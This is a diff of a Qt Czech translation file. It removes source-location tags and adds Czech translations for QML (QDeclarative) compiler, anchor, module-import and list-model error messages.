<source>Connection refused</source>
<translation>Spojení bylo odmítnuto</translation>
</message>
<message>
- <location line="+142"/>
<source>Connection timed out</source>
<translation>Časový limit pro spojení byl překročen</translation>
</message>
<message>
- <location line="+1029"/>
<source>Socket is not connected</source>
<translation>Zásuvka (socket) není spojena</translation>
</message>
<message>
- <location line="-380"/>
<source>Socket operation timed out</source>
<translation>Časový limit pro zásuvkovou (socket) operaci byl překročen</translation>
</message>
<message>
- <location filename="../src/network/socket/qsocks5socketengine.cpp" line="-8"/>
<source>Network unreachable</source>
<translation>Síť není dosažitelná</translation>
</message>
<message>
- <location filename="../src/network/socket/qabstractsocket.cpp" line="-1197"/>
- <location line="+789"/>
- <location line="+208"/>
<source>Operation on socket is not supported</source>
<translation>Tato zásuvková (socket) operace není podporována</translation>
</message>
@@ -976,17 +1111,14 @@ na
<context>
<name>QAbstractSpinBox</name>
<message>
- <location filename="../src/gui/widgets/qabstractspinbox.cpp" line="+1219"/>
<source>Step &amp;down</source>
<translation>Krok &amp;dolů</translation>
</message>
<message>
- <location line="-2"/>
<source>&amp;Step up</source>
<translation>&amp;Krok nahoru</translation>
</message>
<message>
- <location line="-6"/>
<source>&amp;Select All</source>
<translation>&amp;Vybrat vše</translation>
</message>
@@ -994,7 +1126,6 @@ na
<context>
<name>QAccessibleButton</name>
<message>
- <location filename="../src/plugins/accessible/widgets/simplewidgets.cpp" line="+250"/>
<source>Press</source>
<translation>Stisknout</translation>
</message>
@@ -1002,7 +1133,6 @@ na
<context>
<name>QApplication</name>
<message>
- <location filename="../src/gui/accessible/qaccessibleobject.cpp" line="+378"/>
<source>Activates the program&apos;s main window</source>
<translation>Spustí hlavní okno programu</translation>
</message>
@@ -1011,22 +1141,18 @@ na
<translation type="obsolete">LTR</translation>
</message>
<message>
- <location line="-2"/>
<source>Activate</source>
<translation>Spustit</translation>
</message>
<message>
- <location filename="../src/gui/dialogs/qmessagebox.h" line="+354"/>
<source>Executable &apos;%1&apos; requires Qt %2, found Qt %3.</source>
<translation>Použití &apos;%1&apos; vyžaduje Qt %2; bylo ale nalezeno Qt %3.</translation>
</message>
<message>
- <location line="+2"/>
<source>Incompatible Qt Library Error</source>
<translation>Qt není slučitelná</translation>
</message>
<message>
- <location filename="../src/gui/kernel/qapplication.cpp" line="+2290"/>
<source>QT_LAYOUT_DIRECTION</source>
<comment>Translate this string to the string &apos;LTR&apos; in left-to-right languages or to &apos;RTL&apos; in right-to-left languages (such as Hebrew and Arabic) to get proper widget layout.</comment>
<translation>LTR</translation>
@@ -1035,22 +1161,18 @@ na
<context>
<name>QAxSelect</name>
<message>
- <location filename="../src/activeqt/container/qaxselect.ui"/>
<source>OK</source>
<translation>OK</translation>
</message>
<message>
- <location/>
<source>COM &amp;Object:</source>
<translation>COM-&amp;Objekt:</translation>
</message>
<message>
- <location/>
<source>&amp;Cancel</source>
<translation>&amp;Zrušit</translation>
</message>
<message>
- <location/>
<source>Select ActiveX Control</source>
<translation>Vybrat prvek ActiveX</translation>
</message>
@@ -1058,17 +1180,14 @@ na
<context>
<name>QCheckBox</name>
<message>
- <location filename="../src/plugins/accessible/widgets/simplewidgets.cpp" line="-133"/>
<source>Check</source>
<translation>Označit křížkem</translation>
</message>
<message>
- <location line="+1"/>
<source>Toggle</source>
<translation>Přepnout</translation>
</message>
<message>
- <location line="-4"/>
<source>Uncheck</source>
<translation>Zrušit označení křížkem</translation>
</message>
@@ -1076,57 +1195,46 @@ na
<context>
<name>QColorDialog</name>
<message>
- <location filename="../src/gui/dialogs/qcolordialog.cpp" line="+1352"/>
<source>&amp;Red:</source>
<translation>&amp;Červená:</translation>
</message>
<message>
- <location line="-2"/>
<source>&amp;Sat:</source>
<translation>&amp;Sytost:</translation>
</message>
<message>
- <location line="+1"/>
<source>&amp;Val:</source>
<translation>&amp;Jasnost:</translation>
</message>
<message>
- <location line="-2"/>
<source>Hu&amp;e:</source>
<translation>Barevný &amp;odstín:</translation>
</message>
<message>
- <location line="+107"/>
<source>Select Color</source>
<translation>Vybrat barvu</translation>
</message>
<message>
- <location line="+182"/>
<source>&amp;Add to Custom Colors</source>
<translation>&amp;Přidat k uživatelem stanoveným barvám</translation>
</message>
<message>
- <location line="-284"/>
<source>Bl&amp;ue:</source>
<translation>&amp;Modrá:</translation>
</message>
<message>
- <location line="-1"/>
<source>&amp;Green:</source>
<translation>&amp;Zelená:</translation>
</message>
<message>
- <location line="+283"/>
<source>&amp;Basic colors</source>
<translation>Základní &amp;barvy</translation>
</message>
<message>
- <location line="+1"/>
<source>&amp;Custom colors</source>
<translation>&amp;Uživatelem stanovené barvy</translation>
</message>
<message>
- <location line="-282"/>
<source>A&amp;lpha channel:</source>
<translation>A&amp;lfa kanál:</translation>
</message>
@@ -1134,23 +1242,18 @@ na
<context>
<name>QComboBox</name>
<message>
- <location filename="../src/plugins/accessible/widgets/complexwidgets.cpp" line="+1771"/>
- <location line="+65"/>
<source>Open</source>
<translation>Otevřít</translation>
</message>
<message>
- <location filename="../src/gui/itemviews/qitemeditorfactory.cpp" line="+557"/>
<source>True</source>
<translation>Pravdivý</translation>
</message>
<message>
- <location filename="../src/plugins/accessible/widgets/complexwidgets.cpp" line="+0"/>
<source>Close</source>
<translation>Zavřít</translation>
</message>
<message>
- <location filename="../src/gui/itemviews/qitemeditorfactory.cpp" line="-1"/>
<source>False</source>
<translation>Nesprávný</translation>
</message>
@@ -1158,19 +1261,16 @@ na
<context>
<name>QCoreApplication</name>
<message>
- <location filename="../src/corelib/kernel/qsystemsemaphore_unix.cpp" line="+119"/>
<source>%1: key is empty</source>
<comment>QSystemSemaphore</comment>
<translation>%1: Neplatný údaj u klíče (prázdný)</translation>
</message>
<message>
- <location line="+12"/>
<source>%1: unable to make key</source>
<comment>QSystemSemaphore</comment>
<translation>%1: Nepodařilo se vytvořit klíč</translation>
</message>
<message>
- <location line="+9"/>
<source>%1: ftok failed</source>
<comment>QSystemSemaphore</comment>
<translation>%1: Vyvolání ftok se nezdařilo</translation>
@@ -1188,25 +1288,21 @@ na
<translation type="obsolete">%1: Vyvolání ftok se nezdařilo</translation>
</message>
<message>
- <location filename="../src/corelib/kernel/qsystemsemaphore_symbian.cpp" line="+65"/>
<source>%1: already exists</source>
<comment>QSystemSemaphore</comment>
<translation>%1: Již existuje</translation>
</message>
<message>
- <location line="+4"/>
<source>%1: does not exist</source>
<comment>QSystemSemaphore</comment>
<translation>%1: Neexistuje</translation>
</message>
<message>
- <location line="+5"/>
<source>%1: out of resources</source>
<comment>QSystemSemaphore</comment>
<translation>%1: Nejsou již použitelné zdroje</translation>
</message>
<message>
- <location line="+4"/>
<source>%1: unknown error %2</source>
<comment>QSystemSemaphore</comment>
<translation>%1: Neznámá chyba %2</translation>
@@ -1215,22 +1311,18 @@ na
<context>
<name>QDB2Driver</name>
<message>
- <location filename="../src/sql/drivers/db2/qsql_db2.cpp" line="+1552"/>
<source>Unable to commit transaction</source>
<translation>Transakci se nepodařilo provést (operace &apos;commit&apos;, odeslání, se nezdařila)</translation>
</message>
<message>
- <location line="+32"/>
<source>Unable to set autocommit</source>
<translation>&apos;autocommit&apos; se nepodařilo nastavit</translation>
</message>
<message>
- <location line="-330"/>
<source>Unable to connect</source>
<translation>Nepodařilo se navázat spojení</translation>
</message>
<message>
- <location line="+315"/>
<source>Unable to rollback transaction</source>
<translation>Transakci se nepodařilo zvrátit (operace &apos;rollback&apos;, zvrácení, se nezdařila)</translation>
</message>
@@ -1238,33 +1330,26 @@ na
<context>
<name>QDB2Result</name>
<message>
- <location line="-786"/>
<source>Unable to bind variable</source>
<translation>Proměnnou se nepodařilo provést</translation>
</message>
<message>
- <location line="-230"/>
- <location line="+240"/>
<source>Unable to execute statement</source>
<translation>Příkaz se nepodařilo provést</translation>
</message>
<message>
- <location line="+98"/>
<source>Unable to fetch next</source>
<translation>Další datový záznam se nepodařilo natáhnout</translation>
</message>
<message>
- <location line="-301"/>
<source>Unable to prepare statement</source>
<translation>Příkaz se nepodařilo připravit</translation>
</message>
<message>
- <location line="+282"/>
<source>Unable to fetch record %1</source>
<translation>Datový záznam %1 se nepodařilo natáhnout</translation>
</message>
<message>
- <location line="+40"/>
<source>Unable to fetch first</source>
<translation>První datový záznam se nepodařilo natáhnout</translation>
</message>
@@ -1272,40 +1357,926 @@ na
<context>
<name>QDateTimeEdit</name>
<message>
- <location filename="../src/gui/widgets/qdatetimeedit.cpp" line="+2287"/>
<source>AM</source>
<translation>AM</translation>
</message>
<message>
- <location line="+2"/>
<source>PM</source>
<translation>PM</translation>
</message>
<message>
- <location line="-2"/>
<source>am</source>
<translation>am</translation>
</message>
<message>
- <location line="+2"/>
<source>pm</source>
<translation>pm</translation>
</message>
</context>
<context>
+ <name>QDeclarativeAbstractAnimation</name>
+ <message>
+ <source>Cannot animate non-existent property &quot;%1&quot;</source>
+ <translation>Vlastnost &apos;%1&quot; neexistuje a nelze ji proto animovat</translation>
+ </message>
+ <message>
+ <source>Cannot animate read-only property &quot;%1&quot;</source>
+ <translation>Vlastnost &apos;%1&quot; je pouze pro čtení a nelze ji proto animovat</translation>
+ </message>
+ <message>
+ <source>Animation is an abstract class</source>
+ <translation>Animace je abstraktní třída</translation>
+ </message>
+</context>
+<context>
+ <name>QDeclarativeAnchorAnimation</name>
+ <message>
+ <source>Cannot set a duration of &lt; 0</source>
+ <translation>Nelze nastavit dobu trvání &lt; 0</translation>
+ </message>
+</context>
+<context>
+ <name>QDeclarativeAnchors</name>
+ <message>
+ <source>Possible anchor loop detected on fill.</source>
+ <translation>Při operaci naplnění byla zjištěna případná nekonečná smyčka kotvy.</translation>
+ </message>
+ <message>
+ <source>Possible anchor loop detected on centerIn.</source>
+ <translation>Při operaci &apos;centerIn&apos; byla zjištěna případná nekonečná smyčka kotvy.</translation>
+ </message>
+ <message>
+ <source>Cannot anchor to an item that isn&apos;t a parent or sibling.</source>
+ <translation>Cílem kotvy musí být rodičovský prvek nebo prvek na stejné úrovni.</translation>
+ </message>
+ <message>
+ <source>Possible anchor loop detected on vertical anchor.</source>
+ <translation>Při svislé kotvě byla zjištěna případná nekonečná smyčka kotvy.</translation>
+ </message>
+ <message>
+ <source>Possible anchor loop detected on horizontal anchor.</source>
+ <translation>Při vodorovné kotvě byla zjištěna případná nekonečná smyčka kotvy.</translation>
+ </message>
+ <message>
+ <source>Cannot specify left, right, and hcenter anchors.</source>
+ <translation>Nelze zadat kotevní údaje pro vlevo, vpravo a umístěno vodorovně do středu. Nesmí se vyskytovat společně.</translation>
+ </message>
+ <message>
+ <source>Cannot anchor to a null item.</source>
+ <translation>Nelze dát kotvu k nulovému prvku.</translation>
+ </message>
+ <message>
+ <source>Cannot anchor a horizontal edge to a vertical edge.</source>
+ <translation>Nelze ukotvit vodorovný okraj ke svislému.</translation>
+ </message>
+ <message>
+ <source>Cannot anchor item to self.</source>
+ <translation>Prvek nemůže mít kotvu k sobě samému.</translation>
+ </message>
+ <message>
+ <source>Cannot specify top, bottom, and vcenter anchors.</source>
+ <translation>Nelze zadat kotevní údaje pro nahoře, dole a umístěno svisle do středu. Nesmí se vyskytovat společně.</translation>
+ </message>
+ <message>
+ <source>Baseline anchor cannot be used in conjunction with top, bottom, or vcenter anchors.</source>
+ <translation>Kotva pro výchozí bod se nesmí používat společně s dalšími kotevními údaji pro nahoře, dole a umístěno svisle do středu.</translation>
+ </message>
+ <message>
+ <source>Cannot anchor a vertical edge to a horizontal edge.</source>
+ <translation>Nelze ukotvit svislý okraj k vodorovnému.</translation>
+ </message>
+</context>
+<context>
+ <name>QDeclarativeAnimatedImage</name>
+ <message>
+ <source>Qt was built without support for QMovie</source>
+ <translation>Qt bylo sestaveno bez podpory pro QMovie</translation>
+ </message>
+</context>
+<context>
+ <name>QDeclarativeBehavior</name>
+ <message>
+ <source>Cannot change the animation assigned to a Behavior.</source>
+ <translation>Animaci patřící k prvku Behavior nelze změnit.</translation>
+ </message>
+</context>
+<context>
+ <name>QDeclarativeBinding</name>
+ <message>
+ <source>Binding loop detected for property &quot;%1&quot;</source>
+ <translation>U pro vlastnost &quot;%1&quot; zadané vazby byla zjištěna nekonečná smyčka</translation>
+ </message>
+</context>
+<context>
+ <name>QDeclarativeCompiledBindings</name>
+ <message>
+ <source>Binding loop detected for property &quot;%1&quot;</source>
+ <translation>U pro vlastnost &quot;%1&quot; zadané vazby byla zjištěna nekonečná smyčka</translation>
+ </message>
+</context>
+<context>
+ <name>QDeclarativeCompiler</name>
+ <message>
+ <source>Invalid property assignment: &quot;%1&quot; is a read-only property</source>
+ <translation>Neplatné přiřazení vlastnosti: &quot;%1&quot; je vlastnost pouze pro čtení</translation>
+ </message>
+ <message>
+ <source>Invalid property assignment: unknown enumeration</source>
+ <translation>Neplatné přiřazení vlastnosti: neplatná výčtová hodnota</translation>
+ </message>
+ <message>
+ <source>Invalid property assignment: string expected</source>
+ <translation>Neplatné přiřazení vlastnosti: očekáván řetězec</translation>
+ </message>
+ <message>
+ <source>Invalid property assignment: url expected</source>
+ <translation>Neplatné přiřazení vlastnosti: očekávána adresa (URL)</translation>
+ </message>
+ <message>
+ <source>Invalid property assignment: unsigned int expected</source>
+ <translation>Neplatné přiřazení vlastnosti: očekávána celočíselná hodnota bez znaménka</translation>
+ </message>
+ <message>
+ <source>Invalid property assignment: int expected</source>
+ <translation>Neplatné přiřazení vlastnosti: očekávána celočíselná hodnota</translation>
+ </message>
+ <message>
+ <source>Invalid property assignment: number expected</source>
+ <translation>Neplatné přiřazení vlastnosti: očekáváno číslo</translation>
+ </message>
+ <message>
+ <source>Invalid property assignment: color expected</source>
+ <translation>Neplatné přiřazení vlastnosti: očekáváno vymezení barvy</translation>
+ </message>
+ <message>
+ <source>Invalid property assignment: date expected</source>
+ <translation>Neplatné přiřazení vlastnosti: očekáván údaj s datem</translation>
+ </message>
+ <message>
+ <source>Invalid property assignment: time expected</source>
+ <translation>Neplatné přiřazení vlastnosti: očekáván časový údaj</translation>
+ </message>
+ <message>
+ <source>Invalid property assignment: datetime expected</source>
+ <translation>Neplatné přiřazení vlastnosti: očekáván údaj s datem</translation>
+ </message>
+ <message>
+ <source>Invalid property assignment: point expected</source>
+ <translation>Neplatné přiřazení vlastnosti: očekáván souřadnicový údaj pro jeden bod</translation>
+ </message>
+ <message>
+ <source>Invalid property assignment: size expected</source>
+ <translation>Neplatné přiřazení vlastnosti: očekáván údaj s velikostí</translation>
+ </message>
+ <message>
+ <source>Invalid property assignment: rect expected</source>
+ <translation>Neplatné přiřazení vlastnosti: očekáván parametr pro pravoúhelník</translation>
+ </message>
+ <message>
+ <source>Invalid property assignment: boolean expected</source>
+ <translation>Neplatné přiřazení vlastnosti: očekávána booleánská hodnota</translation>
+ </message>
+ <message>
+ <source>Invalid property assignment: 3D vector expected</source>
+ <translation>Neplatné přiřazení vlastnosti: očekáván třírozměrný vektor</translation>
+ </message>
+ <message>
+ <source>Invalid property assignment: unsupported type &quot;%1&quot;</source>
+ <translation>Neplatné přiřazení vlastnosti: Typ &quot;%1&quot; není podporován</translation>
+ </message>
+ <message>
+ <source>Element is not creatable.</source>
+ <translation>Příkaz nelze vytvořit.</translation>
+ </message>
+ <message>
+ <source>Component elements may not contain properties other than id</source>
+ <translation>Prvky součástek nesmí kromě ID obsahovat další vlastnosti</translation>
+ </message>
+ <message>
+ <source>Invalid component id specification</source>
+ <translation>Neplatné vymezení součástky</translation>
+ </message>
+ <message>
+ <source>id is not unique</source>
+ <translation>Hodnota ID není jednoznačná</translation>
+ </message>
+ <message>
+ <source>Invalid component body specification</source>
+ <translation>Neplatné vymezení obsahu součástky</translation>
+ </message>
+ <message>
+ <source>Component objects cannot declare new properties.</source>
+ <translation>Předměty součástek nemohou prohlásit nové vlastnosti.</translation>
+ </message>
+ <message>
+ <source>Component objects cannot declare new signals.</source>
+ <translation>Předměty součástek nemohou prohlásit nové signály.</translation>
+ </message>
+ <message>
+ <source>Component objects cannot declare new functions.</source>
+ <translation>Předměty součástek nemohou prohlásit nové funkce.</translation>
+ </message>
+ <message>
+ <source>Cannot create empty component specification</source>
+ <translation>Nelze vytvořit prázdné vymezení součástky</translation>
+ </message>
+ <message>
+ <source>Incorrectly specified signal assignment</source>
+ <translation>Nesprávně vymezené přiřazení signálu</translation>
+ </message>
+ <message>
+ <source>Cannot assign a value to a signal (expecting a script to be run)</source>
+ <translation>K signálu nelze přiřadit hodnotu (očekává se spuštění skriptu)</translation>
+ </message>
+ <message>
+ <source>Empty signal assignment</source>
+ <translation>Prázdné přiřazení signálu</translation>
+ </message>
+ <message>
+ <source>Empty property assignment</source>
+ <translation>Prázdné přiřazení vlastnosti</translation>
+ </message>
+ <message>
+ <source>Attached properties cannot be used here</source>
+ <translation>Na tomto místě nemohou být připojené vlastnosti (typu &apos;attached&apos;) používány</translation>
+ </message>
+ <message>
+ <source>Non-existent attached object</source>
+ <translation>Pro vlastnost neexistuje žádný připojený předmět</translation>
+ </message>
+ <message>
+ <source>Invalid attached object assignment</source>
+ <translation>Neplatné přiřazení připojeného předmětu</translation>
+ </message>
+ <message>
+ <source>Cannot assign to non-existent default property</source>
+ <translation>Nelze provést žádné přiřazení, neboť neexistuje výchozí vlastnost</translation>
+ </message>
+ <message>
+ <source>Cannot assign to non-existent property &quot;%1&quot;</source>
+ <translation>Nelze provést žádné přiřazení, neboť neexistuje výchozí vlastnost pojmenovaná jako &quot;%1&quot;</translation>
+ </message>
+ <message>
+ <source>Invalid use of namespace</source>
+ <translation>Neplatné použití jmenného prostoru</translation>
+ </message>
+ <message>
+ <source>Not an attached property name</source>
+ <translation>Neplatný název pro připojenou vlastnost (typu &apos;attached&apos;)</translation>
+ </message>
+ <message>
+ <source>Invalid use of id property</source>
+ <translation>Neplatné použití vlastnosti typu &apos;id&apos;</translation>
+ </message>
+ <message>
+ <source>Property has already been assigned a value</source>
+ <translation>Vlastnosti již byla přiřazena hodnota</translation>
+ </message>
+ <message>
+ <source>Invalid grouped property access</source>
+ <translation>Nesprávné seskupení při přístupu k vlastnosti</translation>
+ </message>
+ <message>
+ <source>Cannot assign a value directly to a grouped property</source>
+ <translation>U vlastnosti, která je částí seskupení, není žádné přímé přiřazení hodnoty přípustné</translation>
+ </message>
+ <message>
+ <source>Invalid property use</source>
+ <translation>Neplatné použití vlastnosti</translation>
+ </message>
+ <message>
+ <source>Property assignment expected</source>
+ <translation>Očekáváno přiřazení vlastnosti</translation>
+ </message>
+ <message>
+ <source>Single property assignment expected</source>
+ <translation>Očekáváno jednotlivé přiřazení vlastnosti</translation>
+ </message>
+ <message>
+ <source>Unexpected object assignment</source>
+ <translation>Nepřípustné přiřazení předmětu</translation>
+ </message>
+ <message>
+ <source>Cannot assign object to list</source>
+ <translation>Přiřazení předmětu k seznamům není přípustné</translation>
+ </message>
+ <message>
+ <source>Can only assign one binding to lists</source>
+ <translation>K seznamům lze přiřadit pouze jednu jedinou vazbu</translation>
+ </message>
+ <message>
+ <source>Cannot assign primitives to lists</source>
+ <translation>Přiřazení jednoduché hodnoty (primitivy) k seznamům není přípustné</translation>
+ </message>
+ <message>
+ <source>Cannot assign multiple values to a script property</source>
+ <translation>Přiřazení více hodnot k vlastnosti skriptu není přípustné</translation>
+ </message>
+ <message>
+ <source>Invalid property assignment: script expected</source>
+ <translation>Neplatné přiřazení vlastnosti: očekáván skript</translation>
+ </message>
+ <message>
+ <source>Cannot assign multiple values to a singular property</source>
+ <translation>Přiřazení více hodnot k jedné vlastnosti není přípustné</translation>
+ </message>
+ <message>
+ <source>Cannot assign object to property</source>
+ <translation>Přiřazení předmětu k vlastnosti není přípustné</translation>
+ </message>
+ <message>
+ <source>&quot;%1&quot; cannot operate on &quot;%2&quot;</source>
+ <translation>&quot;%1&quot; nelze použít na &quot;%2&quot;</translation>
+ </message>
+ <message>
+ <source>Duplicate default property</source>
+ <translation>Zdvojená výchozí vlastnost</translation>
+ </message>
+ <message>
+ <source>Duplicate property name</source>
+ <translation>Zdvojený název vlastnosti</translation>
+ </message>
+ <message>
+ <source>Property names cannot begin with an upper case letter</source>
+ <translation>Názvy vlastností nesmí začínat velkým písmenem</translation>
+ </message>
+ <message>
+ <source>Illegal property name</source>
+ <translation>Neplatný název vlastnosti</translation>
+ </message>
+ <message>
+ <source>Duplicate signal name</source>
+ <translation>Zdvojený název signálu</translation>
+ </message>
+ <message>
+ <source>Signal names cannot begin with an upper case letter</source>
+ <translation>Názvy signálů nesmí začínat velkým písmenem</translation>
+ </message>
+ <message>
+ <source>Illegal signal name</source>
+ <translation>Neplatný název signálu</translation>
+ </message>
+ <message>
+ <source>Duplicate method name</source>
+ <translation>Zdvojený název metody</translation>
+ </message>
+ <message>
+ <source>Method names cannot begin with an upper case letter</source>
+ <translation>Názvy metod nesmí začínat velkým písmenem</translation>
+ </message>
+ <message>
+ <source>Illegal method name</source>
+ <translation>Neplatný název metody</translation>
+ </message>
+ <message>
+ <source>Property value set multiple times</source>
+ <translation>Vícenásobné přiřazení hodnoty k vlastnosti</translation>
+ </message>
+ <message>
+ <source>Invalid property nesting</source>
+ <translation>Neplatné vkládání vlastností</translation>
+ </message>
+ <message>
+ <source>Cannot override FINAL property</source>
+ <translation>Nelze přepsat vlastnost prohlašovanou jako &apos;FINAL&apos;</translation>
+ </message>
+ <message>
+ <source>Invalid property type</source>
+ <translation>Neplatný typ vlastnosti</translation>
+ </message>
+ <message>
+ <source>Invalid empty ID</source>
+ <translation>Neplatná, protože prázdná, hodnota ID</translation>
+ </message>
+ <message>
+ <source>IDs cannot start with an uppercase letter</source>
+ <translation>Hodnoty ID nesmí začínat velkým písmenem</translation>
+ </message>
+ <message>
+ <source>IDs must start with a letter or underscore</source>
+ <translation>Hodnoty ID musí začínat písmenem nebo znakem _podtržítka</translation>
+ </message>
+ <message>
+ <source>IDs must contain only letters, numbers, and underscores</source>
+ <translation>Hodnoty ID musí obsahovat pouze písmena, číslice nebo znaky _podtržítka</translation>
+ </message>
+ <message>
+ <source>ID illegally masks global JavaScript property</source>
+ <translation>Hodnota ID nedovoleně zakrývá celkovou vlastnost z JavaScriptu</translation>
+ </message>
+ <message>
+ <source>No property alias location</source>
+ <translation>Vlastnost alias bez umístění</translation>
+ </message>
+ <message>
+ <source>Invalid alias location</source>
+ <translation>Neplatné umístění alias</translation>
+ </message>
+ <message>
+ <source>Invalid alias reference. An alias reference must be specified as &lt;id&gt;, &lt;id&gt;.&lt;property&gt; or &lt;id&gt;.&lt;value property&gt;.&lt;property&gt;</source>
+ <translation>Neplatné odkazování na vlastnost alias. Odkazování na vlastnost alias musí být určeno jako &lt;id&gt;, &lt;id&gt;.&lt;vlastnost&gt; nebo &lt;id&gt;.&lt;vlastnost hodnoty&gt;.&lt;vlastnost&gt;</translation>
+ </message>
+ <message>
+ <source>Invalid alias reference. Unable to find id &quot;%1&quot;</source>
+ <translation>Neplatné odkazování na vlastnost alias. Nelze najít ID &quot;%1&quot;</translation>
+ </message>
+ <message>
+ <source>Alias property exceeds alias bounds</source>
+ <translation>Vlastnost alias překračuje vazby alias</translation>
+ </message>
+</context>
+<context>
+ <name>QDeclarativeComponent</name>
+ <message>
+ <source>Invalid empty URL</source>
+ <translation>Neplátná prázdná adresa (URL)</translation>
+ </message>
+</context>
+<context>
+ <name>QDeclarativeConnections</name>
+ <message>
+ <source>Cannot assign to non-existent property &quot;%1&quot;</source>
+ <translation>Nelze provést žádné přiřazení, neboť neexistuje výchozí vlastnost pojmenovaná jako &quot;%1&quot;</translation>
+ </message>
+ <message>
+ <source>Connections: nested objects not allowed</source>
+ <translation>Spojení: vkládané předměty nejsou povoleny</translation>
+ </message>
+ <message>
+ <source>Connections: syntax error</source>
+ <translation>Spojení: chyba ve skladbě</translation>
+ </message>
+ <message>
+ <source>Connections: script expected</source>
+ <translation>Spojení: očekáván skript</translation>
+ </message>
+</context>
+<context>
+ <name>QDeclarativeEngine</name>
+ <message>
+ <source>executeSql called outside transaction()</source>
+ <translation>&apos;executeSql&apos; byl vyvolán mimo &apos;transaction()&apos;</translation>
+ </message>
+ <message>
+ <source>Read-only Transaction</source>
+ <translation>Transakce pouze pro čtení</translation>
+ </message>
+ <message>
+ <source>Version mismatch: expected %1, found %2</source>
+ <translation>Verzi %2 nelze používat; je třeba %1</translation>
+ </message>
+ <message>
+ <source>SQL transaction failed</source>
+ <translation>Transakce SQL se nezdařila</translation>
+ </message>
+ <message>
+ <source>transaction: missing callback</source>
+ <translation>Transakce: chybí callback (zavolat znovu)</translation>
+ </message>
+ <message>
+ <source>SQL: database version mismatch</source>
+ <translation>SQL: Verze databáze neodpovídá očekávané verzi</translation>
+ </message>
+</context>
+<context>
+ <name>QDeclarativeFlipable</name>
+ <message>
+ <source>front is a write-once property</source>
+ <translation>&apos;front&apos; lze přidělit pouze jednou</translation>
+ </message>
+ <message>
+ <source>back is a write-once property</source>
+ <translation>&apos;back&apos; lze přidělit pouze jednou</translation>
+ </message>
+</context>
+<context>
+ <name>QDeclarativeImportDatabase</name>
+ <message>
+ <source>cannot load module &quot;%1&quot;: File name case mismatch for &quot;%2&quot;</source>
+ <translation>Nelze nahrát modul &quot;%1&quot;: Velikost písmen v názvu souboru neodpovídá pro %2</translation>
+ </message>
+ <message>
+ <source>module &quot;%1&quot; definition &quot;%2&quot; not readable</source>
+ <translation>Modul &quot;%1&quot; vymezení &quot;%2&quot; nečitelné</translation>
+ </message>
+ <message>
+ <source>plugin cannot be loaded for module &quot;%1&quot;: %2</source>
+ <translation>Nelze nahrát přídavný modul pro modul &quot;%1&quot;: %2</translation>
+ </message>
+ <message>
+ <source>module &quot;%1&quot; plugin &quot;%2&quot; not found</source>
+ <translation>Modul &quot;%1&quot; přídavný modul &quot;%2&quot; nenalezen</translation>
+ </message>
+ <message>
+ <source>module &quot;%1&quot; version %2.%3 is not installed</source>
+ <translation>Modul &quot;%1&quot; verze %2.%3 není nainstalován</translation>
+ </message>
+ <message>
+ <source>module &quot;%1&quot; is not installed</source>
+ <translation>Modul &quot;%1&quot; není nainstalován</translation>
+ </message>
+ <message>
+ <source>&quot;%1&quot;: no such directory</source>
+ <translation>&quot;%1&quot;: žádný takový adresář není</translation>
+ </message>
+ <message>
+ <source>import &quot;%1&quot; has no qmldir and no namespace</source>
+ <translation>Zavedení &quot;%1&quot; nemá žádný qmldir a nemá žádný jmenný prostor</translation>
+ </message>
+ <message>
+ <source>- %1 is not a namespace</source>
+ <translation>- %1 jmenným prostorem</translation>
+ </message>
+ <message>
+ <source>- nested namespaces not allowed</source>
+ <translation>- vkládané jmenné prostory nejsou povoleny</translation>
+ </message>
+ <message>
+ <source>local directory</source>
+ <translation>Místní adresář</translation>
+ </message>
+ <message>
+ <source>is ambiguous. Found in %1 and in %2</source>
+ <translation>je dvojznačný. Nalezen v %1 a v %2</translation>
+ </message>
+ <message>
+ <source>is ambiguous. Found in %1 in version %2.%3 and %4.%5</source>
+ <translation>je dvojznačný. Nalezen v %1 ve verzi %2.%3 a %4.%5</translation>
+ </message>
+ <message>
+ <source>is instantiated recursively</source>
+ <translation>je doložen příkladem rekurzivně</translation>
+ </message>
+ <message>
+ <source>is not a type</source>
+ <translation>není typ</translation>
+ </message>
+ <message>
+ <source>File name case mismatch for &quot;%2&quot;</source>
+ <translation>Velikost písmen v názvu souboru neodpovídá pro %2</translation>
+ </message>
+</context>
+<context>
+ <name>QDeclarativeKeyNavigationAttached</name>
+ <message>
+ <source>KeyNavigation is only available via attached properties</source>
+ <translation>Klávesové navádění (KeyNavigation) je dostupné pouze pomocí připojených vlastností</translation>
+ </message>
+</context>
+<context>
+ <name>QDeclarativeKeysAttached</name>
+ <message>
+ <source>Keys is only available via attached properties</source>
+ <translation>Keys je dostupné pouze pomocí připojených vlastností</translation>
+ </message>
+</context>
+<context>
+ <name>QDeclarativeListModel</name>
+ <message>
+ <source>remove: index %1 out of range</source>
+ <translation>odstranit (remove): Index %1 je mimo platnou oblast</translation>
+ </message>
+ <message>
+ <source>insert: value is not an object</source>
+ <translation>vložit (insert): Hodnota není předmětem</translation>
+ </message>
+ <message>
+ <source>insert: index %1 out of range</source>
+ <translation>vložit (insert): Index %1 je mimo platnou oblast</translation>
+ </message>
+ <message>
+ <source>move: out of range</source>
+ <translation>přesunout (move): je mimo platnou oblast</translation>
+ </message>
+ <message>
+ <source>append: value is not an object</source>
+ <translation>připojit (append): Hodnota není předmětem</translation>
+ </message>
+ <message>
+ <source>set: value is not an object</source>
+ <translation>nastavit (set): Hodnota není předmětem</translation>
+ </message>
+ <message>
+ <source>set: index %1 out of range</source>
+ <translation>nastavit (set): Index %1 je mimo platnou oblast</translation>
+ </message>
+ <message>
+ <source>ListElement: cannot contain nested elements</source>
+ <translation>ListElement: nelze obsahovat vkládané prvky</translation>
+ </message>
+ <message>
+ <source>ListElement: cannot use reserved &quot;id&quot; property</source>
+ <translation>ListElement: nelze používat vlastnost &quot;ID&quot;</translation>
+ </message>
+ <message>
+ <source>ListElement: cannot use script for property value</source>
+ <translation>ListElement: nelze používat skript pro hodnotu vlastnosti</translation>
+ </message>
+ <message>
+ <source>ListModel: undefined property &apos;%1&apos;</source>
+ <translation>ListModel: Vlastnost &apos;%1&apos; není vymezena</translation>
+ </message>
+</context>
+<context>
+ <name>QDeclarativeLoader</name>
+ <message>
+ <source>Loader does not support loading non-visual elements.</source>
+ <translation>Nahrávání neviditelných prvků není podporováno.</translation>
+ </message>
+</context>
+<context>
+ <name>QDeclarativeParentAnimation</name>
+ <message>
+ <source>Unable to preserve appearance under complex transform</source>
+ <translation>Při složité proměně nelze zachovat vzhled</translation>
+ </message>
+ <message>
+ <source>Unable to preserve appearance under non-uniform scale</source>
+ <translation>Při nejednotné změně velikosti nelze zachovat vzhled</translation>
+ </message>
